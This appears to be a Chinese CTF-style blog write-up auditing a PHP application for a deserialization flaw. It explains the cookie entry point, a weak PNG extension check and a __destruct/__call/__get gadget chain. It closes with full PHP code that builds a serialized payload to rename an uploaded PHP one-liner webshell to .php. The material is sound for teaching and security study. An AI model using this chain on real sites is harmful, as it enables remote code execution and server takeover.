大家好,我是Dest1ny!
今天发一个好久没出的专题!
php反序列化的实战,代码审计!
顶尖web手必须翻越的一座山!
我就不搞前面上传图片的东西了hh
我们快进到代码审计那一块!
CLASS-1 先看hint
我们可以看一下源码里两个打断点的地方,这个很可能是突破口!
第一处
流程是:
- 从 Cookie 中获取
user
数据。 - 如果 Cookie 中有数据,则解码并反序列化,得到用户信息
$this->profile
。 - 用
$this->profile['ID']
从数据库查询实际的用户数据$this->profile_db
。 - 比较数据库数据和 Cookie 数据是否一致:
- 若一致,返回
1
,表示验证成功。 - 若不一致,返回
0
,表示验证失败。
- 若一致,返回
那么这里就一定是反序列化的入口,也就是我们payload攻击位置所在!
第二处
这里就是判断有没有注册,如果没有注册就去进行注册的功能点
那感觉只知道了payload输入的位置,但是我们需要去反序列化什么呢?
我们去看漏洞可能会出现的地方!
CLASS-2 分析可利用的漏洞
我们找到了一个文件上传的点
分析功能点:
-
文件上传:
- 如果有文件上传,保存文件的临时路径 (
$this->filename_tmp
) 和新文件名 ($this->filename
)。 - 调用
ext_check()
检查文件扩展名是否为 PNG。
- 如果有文件上传,保存文件的临时路径 (
-
文件类型检查:
- 如果扩展名符合要求,用
getimagesize()
检查文件是否为图片,再复制到目标路径。 - 更新
$this->img
路径并调用update_img()
更新数据库。
- 如果扩展名符合要求,用
-
更新数据库:
update_img()
检查用户头像是否为空,若为空,则将新头像路径更新到数据库,并调用update_cookie()
。
首先它只判断了图片后缀,如果我上传一个php一句话木马内容的东西,它都不会检测,算一个非常有可能的攻击点了!
如果有反序列化的可能,那我会结合上一个漏洞,因为你知道上传路径(大家可以去浮现一下web端),然后我如果可以控制filename,是不是就可以把图片上传上去之后改后缀名,之后直接连上去不就好了!
我们又发现这些值是public的!
那接下来就去找找看有什么魔法函数可以去修改这些值!
CLASS-3 魔法函数的寻找
找到get和call的魔法函数
我们如何去利用呢?
__get($name)
方法
__get
是一个“属性访问”魔术方法,它在访问不存在的属性时会被自动调用。也就是说,如果对象尝试访问的属性不存在,那么 PHP 会自动调用 __get
方法,并将尝试访问的属性名作为参数传递给它。在此方法中,代码返回了 $this->except[$name]
,这意味着当访问不存在的属性时,代码会在 except
数组中查找这个属性名,并返回相应的值。
__call($name, $arguments)
方法
__call
是一个“方法调用”魔术方法,用于在调用不存在的方法时自动触发。它接收两个参数:$name
表示调用的不存在的方法名称,$arguments
是一个数组,包含了传递给该方法的参数。在 __call
方法中,代码首先检查 $this->{$name}
是否存在(即检查对象是否有一个与 $name
同名的属性),如果存在,就会执行 $this->{$this->{$name}}($arguments)
。
那其实思路就来了!
CLASS-4 开始构建payload
首先是Register里的_destruct函数是一定会触发的,那先修改checker修改成profile,这样我们离文件上传点更上一步。
但是profile里没有index,那么就直接到call函数,call函数要去访问index属性(就是上面那个index,到call着也是携带的),发现没有这个属性,于是跳转到get上去,然后去访问index为键值的值,这时候我们可以直接去修改值,因为profile里的属性都是public里,再去绕过一下限制就行。
最后思路:
通过控制 filename_tmp
和 filename
变量,使伪装成 .png
扩展名的文件最终被移动为 .php
文件,从而实现代码执行的潜在风险。具体流程如下:
-
构造文件路径:上传文件时,将
filename_tmp
设置为上传文件的临时路径,并通过构造filename
为.php
文件路径,例如md5(文件名).php
。由于ext_check()
方法仅检查文件扩展名为png
才继续执行,因此通过直接设置扩展名绕过了检查。 -
触发文件移动:进入
if($this->ext)
判断后,getimagesize($this->filename_tmp)
被调用。该函数仅检测文件格式,而非内容,因此伪装的.php
文件仍可通过检查。接下来,@copy($this->filename_tmp, $this->filename);
将临时文件移动为.php
文件,从而使恶意代码文件上传成功。 -
利用类的析构:创建
Register
类实例时,将checker
属性指向Profile
对象,并将registed
设为false
。这样在Register
对象析构时会触发__destruct()
,调用Profile
对象的index()
方法,而index()
由__call
魔术方法捕获并转发至upload_img()
,最终执行上传文件。
<?php
namespace app\web\controller;class Profile
{#因为是public,所以可以被修改public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];#检查except数组中是否存在$name,如果存在则返回except数组中$name的值}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);#如果name有值,则调用name的值}}}class Register
{public $checker;public $registed;//函数被销毁一定会触发destruct函数public function __destruct(){if(!$this->registed){$this->checker->index();//因为checker是Profile对象,所以会调用Profile的index方法,并且checker是公共的,所以可以进行修改}}}$profile = new Profile();
$profile->except = ['index' => 'img'];#修改index到值为img
$profile->img = "upload_img";#设置img的值为upload_img
$profile->ext = "png";#绕过后缀名检查
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";#修改文件名$register = new Register();
$register->registed = false;#触发destruct函数
$register->checker = $profile;#跳转profile类echo urlencode(base64_encode(serialize($register)));
ok完成!!!
希望大家给我点个赞,加个关注谢谢!!!!!